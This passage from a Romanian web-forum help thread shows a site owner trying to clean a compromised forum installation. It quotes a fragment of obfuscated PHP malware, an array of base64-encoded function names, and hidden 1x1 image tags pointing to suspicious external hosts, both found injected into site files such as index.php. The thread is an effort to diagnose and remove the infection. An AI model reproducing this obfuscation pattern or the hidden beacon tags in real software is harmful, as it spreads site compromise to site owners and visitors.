'aA=='),base64_decode('d'.'WN3b3J'.'kcw'.'=='),base64_decode('YXJy'.'YXlfcmFuZ'.'A=='),base64_decode('c2h1ZmZ'.'sZQ=='),base64_decode('c3Ryc3R'.'y'),base64_decode(''.'cHJlZ'.'19'.'y'.'Z'.'XB'.'sYWN'.'l'),base64_decode('Z2xvYg=='),base64_decode('YXJyYXlfbXVsd'.'Glzb3J0'),base64_decode('Y'.'XJ'.'yYXlfbWFw'),base64_decode('cHJl'.'Z19'.'tYXRjaF9hb'.'Gw='),base64_decode('c3'.'Ry'.'X3JlcGxhY2U='),base64_decode(''.'c3RyX'.'3J'.'lcGxhY2U'.'='),base64_decode('c3R'.'yX3'.'J'.'lcG'.'xhY2U='),base64_decode(''.'c3Ry'.'X3JlcG'.'xhY'.'2U='),base64_decode('c3RyX3'.'J'.'lcGxhY2U='),base64_decode('cH'.'JlZ'.'1'.'9tYXRjaF'.'9'.'hb'.'Gw='),base64_decode('Y'.'XJyYX'.'l'.'f'.'c2'.'hpZn'.'Q='),base64_decode('c3Ry'.'X'.'3Jlc'.'G'.'xh'.'Y2U='),base64_decode(''.'dW'.'N3b3Jkcw=='),base64_decode('d'.'WN3b3Jk'.'cw'.'=='),base64_decode('dWN'.'3b3'.'Jkc'.'w'.'=='),base64_decode('dWN3b3Jkcw'.'='.'='),base64_decode('dWN3b3Jkcw='.'='),base64_decode('dWN'.'3'.'b3'.'Jk'.'cw='.'='),base64_decode('dWN3'.'b3Jkcw=='),base64_decode('dWN3b3Jkcw=='),base64_decode('dW'.'N3b3Jkcw'.'=='),base64_decode('dW'.'N3b3Jkcw=='),base64_decode('dWN3b3Jkcw=='),base64_decode(''.'d'.'WN3b3Jkcw=='),base64_decode(''.'ZXhwb'.'G9kZQ='.'='),base64_decode('Y'.'X'.'JyYX'.'lfbWV'.'yZ2'.'U='),base64_decode(''.'c2'.'h'.'1ZmZsZQ=='),base64_decode('Zml'.'sZV9leGlzd'.'HM='),base64_decode(''.'Zml'.'sZV9'.'n'.'ZXR'.'fY29'.'udGVudH'.'M'.'='),base64_decode('cHJ'.'lZ19'.'yZ'.'XBsYWNl'),base64_decode('cHJlZ19'.'tYXRjaF9h'.'bG'.'w='),base64_decode('c'.'HJl'.'Z19tY'.'XRj'.'aA=='),base64_decode('c'.'3Ry'.'bGV'.'u'),base64_decode('c3RybGVu'),base64_decode('c3R'.'yX2lyZXBs'.'YWNl'),base64_decode('Z'.'m'.'9wZW4='),base64_decode(''.'Z'.'nB'.'1'.'dH'.'M='),base64_decode('Z'.'mNsb3Nl'),base64_decode('c3RydG91cHBlcg=='),base64_decode('cHJlZ19y'.'ZX'.'BsYWNl'),base64_decode('ZmlsZ'.'V9leGlzdHM='),base64_decode('ZmlsZ'.'V9nZXRfY29udGVud'.'HM='),base64_decode('c'.'3RyX3'.'Jl'.'c'.'G'.'xhY'.'2U='),base64_decode('c3R'.'yX3Jlc'.'GxhY2U='),base64_decode('Z'.'m9wZW4='),base64_decode('Zndya'.'XR'.'l'),base64_decode('Z'.'mNsb'.'3Nl'),base64_decode('ZmlsZV9'.'nZXRfY29'.'udGVu'.'dH'.'M'.'='),base64_decode('ZmlsZX'.'Npem'.'U='),base64_decode('ZmlsZV9n'.'Z'.'X'.'R'.'fY'.'29udGVudHM='),base64_decode('Ym'.'FzZW5hbWU'.'='),base64_decode('c3R'.'yX3JlcGxhY'.'2U='),base64_decode('c3'.'RyX3J'.'lc'.'Gx'.'h'.'Y2U='),base64_decode('cHJlZ19yZXBsYW'.'Nl'),base64_decode(''.'dW'.'N3b3Jkcw=='),base64_decode('c'.'3RyX2ly'.'Z'.'XB'.'sYW'.'N'.'l'));

Cred totusi ca mai ai niste chestii inserate prin fisiere, nu de alta dar acel cod nu face decat sa defineasca un vector de elemente. Elementele sunt si ele criptate si par a fi nume de functii din PHP (cel asa sunt primele 3).

Users : collective term for those who use computers. Users are divided into three types : novice, intermediate and expert.
Novice users : people who are afraid that simply pressing a key might break their computer.
Intermediate users : people who don`t know how to fix their computer after they`ve just pressed a key that broke it.
Expert users : people who break other people`s computers.
#7
Mai erau in unele fisisere aceste coduri:

Code:
<img heigth="1" width="1" border="0" src="http://foldl.cz.cc/14653.jpg">
<img heigth="1" width="1" border="0" src="http://foglietta.cz.cc/18658.jpg">

Am ster tot...de fapt le-am inlocuit cu unele noi din pachetul oficial. Am mai pastrat doar config.php si setings.php , in rest toate au fost schimbate.

Pentru a mentine un forum unitar si pentru a utiliza informatia intr-un numar cat mai mic de subiecte, va rugam ca inainte de a deschide o Discutie Noua sa folositi functia Cautare (Search) !
Cititi periodic
Regulamentul
#8
Nu îmi dau seama cum ar fi putut apărea acele linii în fișierul index.php... Poate printr-o vulnerabilitate de tip XSS a apărut fereastra cu descărcarea acelui fișier.
Users : collective term for those who use computers. Users are divided into three types : novice, intermediate and expert.
Novice users : people who are afraid that simply pressing a key might break their computer.
Intermediate users : people who don`t know how to fix their computer after they`ve just pressed a key that broke it.
Expert users : people who break other people`s computers.
#9
Hai sa incerc sa ma fac eu explicit si totodata sa spun cum cred ca au ajuns acele coduri in fisiere.
In urma cu 4-5 ani rulam forumul pe phpfusion. Din motive de suport tehnic am ales mybb in defavoarea phpfusion. Eu cam odata la 3-4 zile faceam un back-up la tot site-ul. In una din zile m-am pomenit cu aceasta infectie. Am apelat la ajutorul baietilor de la phpfusion dar..canci, nimeni nu te baga in seama si practic vorbesti singur pe forum.
Pana la urma am luat fiecare fisier in parte si l-am curatat de acele coduri (atat cat am vazut eu ). Vazand ca nu pot scapa de aceasta infectie, am cautat o platforma pe care sa ma pot baza pe suportul tehnic si uite asa am ajuns la mybb Romania. Dupa ce am instalat aceasta platforma ,am luat-o de la zero.
Zilel trecute am trecut unul din forumurile mele pe phpfusion. Ideea era sa fac site-ul pe phpfusion si forumul sa fie de la mybb. Am incarcat ambele platforme in ftp dar uitand ca unele infuzii (pluginuri) pe care le aveam in calculator erau infectate, le-am bagat si pe ele in folderul corespunzator. Dupa ce le-am activat a inceput AVG-ul meu sa sara-n sus si sa-mi spuna ca "nu-i place" pe forumok.ro. Abia atunci mi-am amintit de acele fisiere infectate pe care eu in loc sa le sterg din calculator, leam folosit mai deparete.
Concluzie:
Cred ca aceste coduri se repreduc pe fiecare fisier in parte si probabil asa sa infecat si mybb-ul meu.
Pentru a mentine un forum unitar si pentru a utiliza informatia intr-un numar cat mai mic de subiecte, va rugam ca inainte de a deschide o Discutie Noua sa folositi functia Cautare (Search) !
Cititi periodic
Regulamentul
#10
Intre timp iarasi a aparut in fisiserul index.php acel cod de care vorbeam. Il atasez aici in speranta ca poate cineva imi va explica cum ajunge acel cod in fisierul index daca eu ieri le-am inlocuit pe toate cu altele noi din pachetul oficial?


Attached Files
.zip   index.zip (Size: 4.24 KB / Downloads: 0)
Pentru a mentine un forum unitar si pentru a utiliza informatia intr-un numar cat mai mic de subiecte, va rugam ca inainte de a deschide o Discutie Noua sa folositi functia Cautare (Search) !
Cititi periodic
Regulamentul


Forum Jump:


Users browsing this thread: 1 Guest(s)